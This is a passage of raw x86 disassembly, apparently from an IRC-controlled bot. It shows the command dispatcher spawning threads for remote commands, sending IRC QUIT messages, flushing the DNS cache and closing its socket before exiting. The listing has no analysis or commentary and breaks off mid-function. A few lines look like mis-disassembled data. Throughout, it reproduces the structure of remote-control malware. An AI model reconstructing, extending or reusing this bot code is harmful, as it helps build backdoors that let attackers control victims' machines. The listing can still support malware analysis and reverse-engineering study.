		mov	eax, [ebp-8]
		mov	[ebp-2BB8h], eax
		lea	eax, [ebp-2E50h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-2C40h]
		push	offset unk_42D510
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	5
		push	eax
		call	sub_40AF71
		add	esp, 34h
		mov	[ebp-2C48h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-2E54h]
		push	ebx
		push	eax
		push	offset byte_411915
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-2C48h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_403BB1
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D4D4
		jmp	loc_405F42
; ---------------------------------------------------------------------------


loc_403BA9:				; CODE XREF: seg000:00403BB7j
		push	32h
		call	ds:dword_428064	; Sleep


loc_403BB1:				; CODE XREF: seg000:00403B96j
		cmp	[ebp-2BB4h], ebx
		jz	short loc_403BA9
		jmp	loc_406EA9
; ---------------------------------------------------------------------------


loc_403BBE:				; CODE XREF: seg000:004035ACj
					; seg000:004035C1j
		mov	edi, [ebp+esi-8Ch]
		cmp	edi, ebx
		jz	short loc_403BDD
		push	edi
		call	sub_41B969
		test	eax, eax
		pop	ecx
		jz	short loc_403BDD
		push	edi
		call	sub_41B969
		pop	ecx
		jmp	short loc_403BE2
; ---------------------------------------------------------------------------


loc_403BDD:				; CODE XREF: seg000:00403BC7j
					; seg000:00403BD2j
		mov	eax, ds:dword_42A080


loc_403BE2:				; CODE XREF: seg000:00403BDBj
		mov	esi, [ebp+esi-88h]
		mov	[ebp-36C4h], eax
		xor	eax, eax
		cmp	[ebp-8F8h], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp-36B0h], eax
		jz	short loc_403C15
		lea	eax, [ebp-37C8h]
		push	esi
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx
		jmp	short loc_403C40
; ---------------------------------------------------------------------------


loc_403C15:				; CODE XREF: seg000:00403C02j
		lea	eax, [ebp-4FF0h]
		push	104h
		push	eax
		call	near ptr 0B10000h
		mov	esi, 858D5353h
		cmp	al, 0FBh
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	53h
; ---------------------------------------------------------------------------
		push	eax
		lea	eax, [ebp-4FF0h]
		push	eax
		call	sub_41BBC1
		add	esp, 14h


loc_403C40:				; CODE XREF: seg000:00403C13j
		lea	eax, [ebp-37C8h]
		push	eax
		call	sub_41B1D0
		cmp	byte ptr [ebp+eax-37C9h], 5Ch
		pop	ecx
		jnz	short loc_403C6B
		lea	eax, [ebp-37C8h]
		push	eax
		call	sub_41B1D0
		pop	ecx
		mov	[ebp+eax-37C9h], bl


loc_403C6B:				; CODE XREF: seg000:00403C55j
		push	dword ptr [ebp-88h]
		mov	esi, [ebp+0Ch]
		lea	eax, [ebp-3A50h]
		mov	[ebp-3A54h], esi
		push	80h
		push	eax
		call	sub_41BB70
		mov	eax, [ebp-8]
		mov	edi, [ebp-4]
		add	esp, 0Ch
		mov	[ebp-36B4h], eax
		lea	eax, [ebp-37C8h]
		mov	[ebp-36B8h], edi
		push	eax
		push	dword ptr [ebp-36C4h]
		push	esi
		call	sub_40AAF8
		pop	ecx
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_42D498
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	3
		push	eax
		call	sub_40AF71
		add	esp, 20h
		mov	[ebp-36BCh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-3A54h]
		push	ebx
		push	eax
		push	offset sub_40F477
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-36BCh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_403D26
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D45C
		jmp	loc_403E50
; ---------------------------------------------------------------------------


loc_403D1E:				; CODE XREF: seg000:00403D2Cj
		push	32h
		call	ds:dword_428064	; Sleep


loc_403D26:				; CODE XREF: seg000:00403D0Bj
		cmp	[ebp-36A8h], ebx
		jz	short loc_403D1E
		jmp	loc_403E5F
; ---------------------------------------------------------------------------


loc_403D33:				; CODE XREF: seg000:00403582j
					; seg000:00403597j
		mov	edi, [ebp+esi-8Ch]
		cmp	edi, ebx
		jz	short loc_403D52
		push	edi
		call	sub_41B969
		test	eax, eax
		pop	ecx
		jz	short loc_403D52
		push	edi
		call	sub_41B969
		pop	ecx
		jmp	short loc_403D57
; ---------------------------------------------------------------------------


loc_403D52:				; CODE XREF: seg000:00403D3Cj
					; seg000:00403D47j
		mov	eax, ds:dword_42A084


loc_403D57:				; CODE XREF: seg000:00403D50j
		mov	[ebp-1820h], eax
		mov	eax, [ebp+esi-88h]
		cmp	eax, ebx
		jnz	short loc_403D6E
		lea	eax, [ebp-0C0h]


loc_403D6E:				; CODE XREF: seg000:00403D66j
		push	eax
		lea	eax, [ebp-1960h]
		push	40h
		push	eax
		call	sub_41BB70
		mov	esi, [ebp+esi-84h]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403D90
		mov	esi, offset dword_43FDB4


loc_403D90:				; CODE XREF: seg000:00403D89j
		push	esi
		lea	eax, [ebp-1920h]
		push	100h
		push	eax
		call	sub_41BB70
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-19E0h]
		push	80h
		push	eax
		call	sub_41BB70
		mov	eax, [ebp-8]
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp-4]
		add	esp, 18h
		mov	[ebp-180Ch], eax
		lea	eax, [ebp-1960h]
		push	eax
		mov	[ebp-19E4h], esi
		push	dword ptr [ebp-1820h]
		mov	[ebp-1810h], edi
		push	esi
		call	sub_40AAF8
		pop	ecx
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_42D420
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	9
		push	eax
		call	sub_40AF71
		add	esp, 20h
		mov	[ebp-181Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-19E4h]
		push	ebx
		push	eax
		push	offset byte_410BEF
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-181Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_403E85
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D3E4


loc_403E50:				; CODE XREF: seg000:00403D19j
					; seg000:0040675Ej ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BA76
		add	esp, 0Ch


loc_403E5F:				; CODE XREF: seg000:00403D2Ej
					; seg000:00403E8Dj ...
		cmp	[ebp-8], ebx
		jnz	loc_4023FC
		push	ebx
		push	edi


loc_403E6A:				; CODE XREF: seg000:00407FF0j
		lea	eax, [ebp-2C0h]
		push	eax
		push	dword ptr [ebp-88h]
		push	esi
		jmp	loc_406EC6
; ---------------------------------------------------------------------------


loc_403E7D:				; CODE XREF: seg000:00403E8Bj
		push	32h
		call	ds:dword_428064	; Sleep


loc_403E85:				; CODE XREF: seg000:00403E42j
		cmp	[ebp-1808h], ebx
		jz	short loc_403E7D
		jmp	short loc_403E5F
; ---------------------------------------------------------------------------


loc_403E8F:				; CODE XREF: seg000:00403558j
					; seg000:0040356Dj
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jz	short loc_403EA2
		push	esi
		call	sub_41B969
		jmp	short loc_403EA9
; ---------------------------------------------------------------------------


loc_403EA2:				; CODE XREF: seg000:00403E98j
		push	0Bh
		call	sub_40B1D2


loc_403EA9:				; CODE XREF: seg000:00403EA0j
		cmp	eax, ebx
		pop	ecx
		jz	loc_409753
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_40B8B2
		jmp	loc_4043A4
; ---------------------------------------------------------------------------


loc_403EC9:				; CODE XREF: seg000:0040352Ej
					; seg000:00403543j
		mov	eax, ds:dword_4CDB14
		cmp	eax, ebx
		jz	short loc_403EEC
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		lea	eax, [ebp-2C0h]
		jz	short loc_403EE5
		push	offset unk_42D3C0
		jmp	short loc_403EF7
; ---------------------------------------------------------------------------


loc_403EE5:				; CODE XREF: seg000:00403EDCj
		push	offset unk_42D394
		jmp	short loc_403EF7
; ---------------------------------------------------------------------------


loc_403EEC:				; CODE XREF: seg000:00403ED0j
		push	offset unk_42D368
		lea	eax, [ebp-2C0h]


loc_403EF7:				; CODE XREF: seg000:00403EE3j
					; seg000:00403EEAj ...
		push	200h
		push	eax
		call	sub_41BB70
		jmp	loc_406C7C
; ---------------------------------------------------------------------------


loc_403F07:				; CODE XREF: seg000:00403504j
					; seg000:00403519j
		call	sub_40AA20
		test	eax, eax
		lea	eax, [ebp-2C0h]
		jz	short loc_403F1D
		push	offset unk_42D344
		jmp	short loc_403EF7
; ---------------------------------------------------------------------------


loc_403F1D:				; CODE XREF: seg000:00403F14j
		push	offset unk_42D318
		jmp	short loc_403EF7
; ---------------------------------------------------------------------------


loc_403F24:				; CODE XREF: seg000:004034DAj
					; seg000:004034EFj
		cmp	[ebp-8], ebx
		jnz	short loc_403F43
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_42D300
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		add	esp, 14h


loc_403F43:				; CODE XREF: seg000:00403F27j
		push	ebx
		push	dword ptr [ebp-4]
		call	sub_4183BA
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		push	offset dword_42D2E4
		jmp	loc_404271
; ---------------------------------------------------------------------------


loc_403F65:				; CODE XREF: seg000:00403388j
					; seg000:0040339Dj
		push	0Ah
		call	sub_40B1B3
		test	eax, eax
		pop	ecx
		jle	short loc_403F78
		push	offset unk_42D2B8
		jmp	short loc_403F99
; ---------------------------------------------------------------------------


loc_403F78:				; CODE XREF: seg000:00403F6Fj
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	loc_419E2F
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403F94
		push	offset unk_42D290
		jmp	short loc_403F99
; ---------------------------------------------------------------------------


loc_403F94:				; CODE XREF: seg000:00403F8Bj
		push	offset unk_42D270


loc_403F99:				; CODE XREF: seg000:00403F76j
					; seg000:00403F92j ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx


loc_403FA7:				; CODE XREF: seg000:004072CAj
					; seg000:00408C15j
		cmp	[ebp-8], ebx
		jnz	short loc_403FC8
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]


loc_403FC0:				; CODE XREF: seg000:0040886Ej
		call	sub_409966
		add	esp, 14h


loc_403FC8:				; CODE XREF: seg000:00403FAAj
					; seg000:004041C5j ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4152AE
		jmp	loc_4098D4
; ---------------------------------------------------------------------------


loc_403FD9:				; CODE XREF: seg000:0040335Ej
					; seg000:00403373j
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_40A6BD
		jmp	loc_404292
; ---------------------------------------------------------------------------


loc_403FF2:				; CODE XREF: seg000:00403334j
					; seg000:00403349j
		push	dword ptr [ebp+esi-8Ch]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_416C90
		jmp	loc_404292
; ---------------------------------------------------------------------------


loc_40400F:				; CODE XREF: seg000:0040330Aj
					; seg000:0040331Fj
		or	edi, 0FFFFFFFFh
		call	ds:dword_4280A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		mov	[ebp+8], eax
		jz	short loc_404038
		push	esi
		call	sub_41B969
		pop	ecx
		mov	edi, eax


loc_404038:				; CODE XREF: seg000:0040402Dj
		mov	eax, [ebp+8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_404051
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409753


loc_404051:				; CODE XREF: seg000:00404046j
		push	ebx
		call	sub_41AA78
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_42D258
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4152AE


loc_40408E:				; CODE XREF: seg000:00407921j
		add	esp, 28h
		jmp	loc_409753
; ---------------------------------------------------------------------------


loc_404096:				; CODE XREF: seg000:004032E0j
					; seg000:004032F5j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_415B31
		lea	eax, [ebp-2C0h]
		push	offset dword_42D238
		push	eax
		call	sub_41BA76
		add	esp, 14h
		jmp	loc_406EA9
; ---------------------------------------------------------------------------


loc_4040C0:				; CODE XREF: seg000:004032B6j
					; seg000:004032CBj
		push	27h
		call	sub_40B1B3
		test	eax, eax
		pop	ecx
		jle	short loc_4040F1
		cmp	[ebp-8], ebx
		jnz	loc_401F82
		push	ebx
		push	dword ptr [ebp-4]
		push	offset unk_42D218
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		jmp	loc_408C2F
; ---------------------------------------------------------------------------


loc_4040F1:				; CODE XREF: seg000:004040CAj
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-0B28h]
		push	80h
		push	eax
		call	sub_41BB70
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-8Ch]
		mov	[ebp-0B2Ch], eax
		mov	eax, [ebp-4]
		mov	[ebp-0AA0h], eax
		mov	eax, [ebp-8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp-0A9Ch], eax
		mov	[ebp-0AA4h], ebx
		jz	short loc_404152
		push	esi
		push	offset aFull	; "full"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404152
		mov	dword ptr [ebp-0AA4h], 1


loc_404152:				; CODE XREF: seg000:00404135j
					; seg000:00404146j
		lea	eax, [ebp-2C0h]
		push	offset dword_42D1F4
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	27h
		push	eax
		call	sub_40AF71
		add	esp, 14h
		mov	[ebp-0AA8h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-0B2Ch]
		push	ebx
		push	eax
		push	offset sub_419AB6
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-0AA8h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_4041D2
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_42D1B8
		push	eax
		call	sub_41BA76
		add	esp, 0Ch
		jmp	loc_403FC8
; ---------------------------------------------------------------------------


loc_4041CA:				; CODE XREF: seg000:004041D8j
		push	32h
		call	ds:dword_428064	; Sleep


loc_4041D2:				; CODE XREF: seg000:004041A8j
		cmp	[ebp-0A98h], ebx
		jz	short loc_4041CA
		jmp	loc_403FC8
; ---------------------------------------------------------------------------


loc_4041DF:				; CODE XREF: seg000:0040328Cj
					; seg000:004032A1j
		cmp	[ebp-8], ebx
		jnz	short loc_4041FE
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_42D19C
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		add	esp, 14h


loc_4041FE:				; CODE XREF: seg000:004041E2j
		push	dword ptr [ebp+0Ch]
		call	ds:dword_4CDC90	; closesocket
		call	ds:dword_4CDB50	; WSACleanup
		call	sub_41853D
		push	ebx
		call	ds:dword_428068	; ExitProcess


loc_404219:				; CODE XREF: seg000:00403262j
					; seg000:00403277j
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_41AC18
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		push	offset dword_42D180
		jmp	short loc_404271
; ---------------------------------------------------------------------------


loc_404244:				; CODE XREF: seg000:00403238j
					; seg000:0040324Dj
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+24h]
		push	eax
		call	sub_41AECC
		add	esp, 0Ch
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		push	offset dword_42D164


loc_404271:				; CODE XREF: seg000:00403F60j
					; seg000:00404242j
		call	sub_4152AE


loc_404276:				; CODE XREF: seg000:00408977j
		add	esp, 18h
		jmp	loc_409753
; ---------------------------------------------------------------------------


loc_40427E:				; CODE XREF: seg000:0040320Ej
					; seg000:00403223j
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_41534E


loc_404292:				; CODE XREF: seg000:00401EC5j
					; seg000:00403FEDj ...
		add	esp, 10h
		jmp	loc_401F82
; ---------------------------------------------------------------------------


loc_40429A:				; CODE XREF: seg000:004031E4j
					; seg000:004031F9j
		cmp	[ebp-0Ch], ebx
		mov	[ebp-1590h], bl
		jz	short loc_4042D9
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jz	short loc_4042D9
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_41BAF0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042D9
		push	eax
		push	offset aS_2	; "%s"
		lea	eax, [ebp-1590h]
		push	80h
		push	eax
		call	sub_41BB70
		add	esp, 10h


loc_4042D9:				; CODE XREF: seg000:004042A3j
					; seg000:004042AEj ...
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-1610h]
		push	80h
		push	eax
		call	sub_41BB70
		mov	eax, [ebp+0Ch]
		push	offset dword_42D14C
		mov	[ebp-1614h], eax
		mov	eax, [ebp-4]
		mov	[ebp-150Ch], eax
		mov	eax, [ebp-8]
		mov	[ebp-1508h], eax
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	25h
		push	eax
		call	sub_40AF71
		add	esp, 20h
		mov	[ebp-1510h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-1614h]
		push	ebx
		push	eax
		push	offset byte_41538F
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-1510h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_40437C
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D114
		jmp	loc_4098CE
; ---------------------------------------------------------------------------


loc_404374:				; CODE XREF: seg000:00404382j
		push	32h
		call	ds:dword_428064	; Sleep


loc_40437C:				; CODE XREF: seg000:00404361j
		cmp	[ebp-1504h], ebx
		jz	short loc_404374
		jmp	loc_401F82
; ---------------------------------------------------------------------------


loc_404389:				; CODE XREF: seg000:004031BAj
					; seg000:004031CFj
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_415236
		push	offset dword_42D0FC
		call	sub_4152AE


loc_4043A4:				; CODE XREF: seg000:00403EC4j
		add	esp, 10h
		jmp	loc_409753
; ---------------------------------------------------------------------------


loc_4043AC:				; CODE XREF: seg000:00403190j
					; seg000:004031A5j
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-0BC0h]
		push	80h
		push	eax
		call	sub_41BB70
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-8Ch]
		mov	[ebp-0BC4h], eax
		mov	eax, [ebp-4]
		mov	[ebp-0B38h], eax
		mov	eax, [ebp-8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp-0B34h], eax
		jz	short loc_404406
		push	offset dword_42D0F8
		push	esi
		call	sub_41C260
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp-0B3Ch], eax
		jmp	short loc_40440C
; ---------------------------------------------------------------------------


loc_404406:				; CODE XREF: seg000:004043EAj
		mov	[ebp-0B3Ch], ebx


loc_40440C:				; CODE XREF: seg000:00404404j
		lea	eax, [ebp-2C0h]
		push	offset dword_42D0D8
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	28h
		push	eax
		call	sub_40AF71
		add	esp, 14h
		mov	[ebp-0B40h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-0BC4h]
		push	ebx
		push	eax
		push	offset dword_40AFDC
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-0B40h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_40448C
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D09C


loc_404470:				; CODE XREF: seg000:0040917Dj
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BA76
		add	esp, 0Ch
		jmp	loc_406CA0
; ---------------------------------------------------------------------------


loc_404484:				; CODE XREF: seg000:00404492j
		push	32h
		call	ds:dword_428064	; Sleep


loc_40448C:				; CODE XREF: seg000:00404462j
		cmp	[ebp-0B30h], ebx
		jz	short loc_404484
		jmp	loc_406CA0
; ---------------------------------------------------------------------------


loc_404499:				; CODE XREF: seg000:00403114j
					; seg000:00403129j
		push	offset aFenr	; "FEnR"
		lea	eax, [ebp-2C0h]
		push	offset dword_42D084
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		add	esp, 20h
		jmp	loc_406CA0
; ---------------------------------------------------------------------------


loc_4044D0:				; CODE XREF: seg000:004030EAj
					; seg000:004030FFj
		push	ds:dword_4CD93C
		call	sub_41AA78
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_42D058
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_409966
		add	esp, 24h
		jmp	loc_406CA0
; ---------------------------------------------------------------------------


loc_40450E:				; CODE XREF: seg000:004030C0j
					; seg000:004030D5j
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jz	short loc_404540
		cmp	[ebp-0Ch], ebx
		jz	short loc_40454F
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_41BAF0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40454F
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_409920
		add	esp, 0Ch
		jmp	short loc_40454F
; ---------------------------------------------------------------------------


loc_404540:				; CODE XREF: seg000:00404517j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_409920
		pop	ecx
		pop	ecx


loc_40454F:				; CODE XREF: seg000:0040451Cj
					; seg000:0040452Bj ...
		push	0FFFFFFFEh
		pop	eax
		jmp	loc_401F85
; ---------------------------------------------------------------------------


loc_404557:				; CODE XREF: seg000:00403096j
					; seg000:004030ABj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_409920
		push	offset dword_42D008
		call	sub_4152AE
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401F85
; ---------------------------------------------------------------------------


loc_404579:				; CODE XREF: seg000:0040306Cj
					; seg000:00403081j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_409920
		push	offset dword_42CFD4
		call	sub_4152AE
		add	esp, 0Ch
		jmp	loc_4096BF
; ---------------------------------------------------------------------------


loc_404598:				; CODE XREF: seg000:00403042j
					; seg000:00403057j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_40B63A
		jmp	loc_404968
; ---------------------------------------------------------------------------


loc_4045AE:				; CODE XREF: seg000:00403018j
					; seg000:0040302Dj
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_40B5E6
		jmp	loc_404968
; ---------------------------------------------------------------------------


loc_4045C4:				; CODE XREF: seg000:00402FEEj
					; seg000:00403003j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_40B57B
		jmp	loc_404968
; ---------------------------------------------------------------------------


loc_4045DA:				; CODE XREF: seg000:00402FC4j
					; seg000:00402FD9j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_40B4AD
		jmp	loc_404968
; ---------------------------------------------------------------------------


loc_4045F0:				; CODE XREF: seg000:00402F1Fj
					; seg000:00402F34j
		push	dword ptr [ebp+esi-8Ch]
		push	27h
		push	offset dword_42CFC4
		push	offset dword_42CFB4
		jmp	short loc_404618
; ---------------------------------------------------------------------------


loc_404605:				; CODE XREF: seg000:00402EF5j
					; seg000:00402F0Aj
		push	dword ptr [ebp+esi-8Ch]
		push	24h
		push	offset dword_42CFA8
		push	offset dword_42CF98


loc_404618:				; CODE XREF: seg000:00402AFAj
					; seg000:00402B4Dj ...
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_40B1F9
		add	esp, 20h
		jmp	loc_401F82
; ---------------------------------------------------------------------------


loc_404634:				; CODE XREF: seg000:00402B0Ej
					; seg000:00402B23j
		mov	edi, [ebp+esi-8Ch]
		cmp	edi, ebx
		jz	short loc_404653
		push	edi
		call	sub_41B969
		test	eax, eax
		pop	ecx
		jz	short loc_404653
		push	edi
		call	sub_41B969
		pop	ecx
		jmp	short loc_404658
; ---------------------------------------------------------------------------


loc_404653:				; CODE XREF: seg000:0040463Dj
					; seg000:00404648j
		mov	eax, ds:dword_42A078


loc_404658:				; CODE XREF: seg000:00404651j
		mov	esi, [ebp+esi-88h]
		mov	[ebp-58Ch], eax
		cmp	esi, ebx
		jz	short loc_40467D
		push	esi


loc_40466A:				; CODE XREF: seg000:0040468Cj
		lea	eax, [ebp-59Ch]
		push	10h
		push	eax
		call	sub_41BB70
		add	esp, 0Ch
		jmp	short loc_404694
; ---------------------------------------------------------------------------


loc_40467D:				; CODE XREF: seg000:00404667j
		cmp	[ebp-8FBh], bl
		jz	short loc_40468E
		lea	eax, [ebp-0C0h]
		push	eax
		jmp	short loc_40466A
; ---------------------------------------------------------------------------


loc_40468E:				; CODE XREF: seg000:00404683j
		mov	[ebp-59Ch], bl


loc_404694:				; CODE XREF: seg000:0040467Bj
		mov	eax, [ebp-4]
		push	dword ptr [ebp-88h]
		mov	esi, [ebp+0Ch]
		mov	[ebp-580h], eax
		mov	eax, [ebp-8]
		push	80h
		mov	[ebp-57Ch], eax
		lea	eax, [ebp-61Ch]
		push	eax
		mov	[ebp-620h], esi
		call	sub_41BB70
		add	esp, 0Ch
		push	dword ptr [ebp-58Ch]
		push	esi
		call	sub_40AAF8
		pop	ecx
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_42CF70
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2C0h]
		push	19h
		push	eax
		call	sub_40AF71
		add	esp, 1Ch
		mov	[ebp-588h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-620h]
		push	ebx
		push	eax
		push	offset loc_411354
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-588h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_404748
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42CF34
		jmp	loc_4098CE
; ---------------------------------------------------------------------------


loc_404740:				; CODE XREF: seg000:0040474Ej
		push	32h
		call	ds:dword_428064	; Sleep


loc_404748:				; CODE XREF: seg000:0040472Dj
		cmp	[ebp-578h], ebx
		jz	short loc_404740
		jmp	loc_401F82
; ---------------------------------------------------------------------------


loc_404755:				; CODE XREF: seg000:00402ABBj
					; seg000:00402AD0j
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jz	short loc_404775
		push	esi
		call	sub_41B969
		test	ax, ax
		pop	ecx
		jz	short loc_404775
		push	esi
		call	sub_41B969
		pop	ecx
		jmp	short loc_40477B
; ---------------------------------------------------------------------------


loc_404775:				; CODE XREF: seg000:0040475Ej
					; seg000:0040476Aj
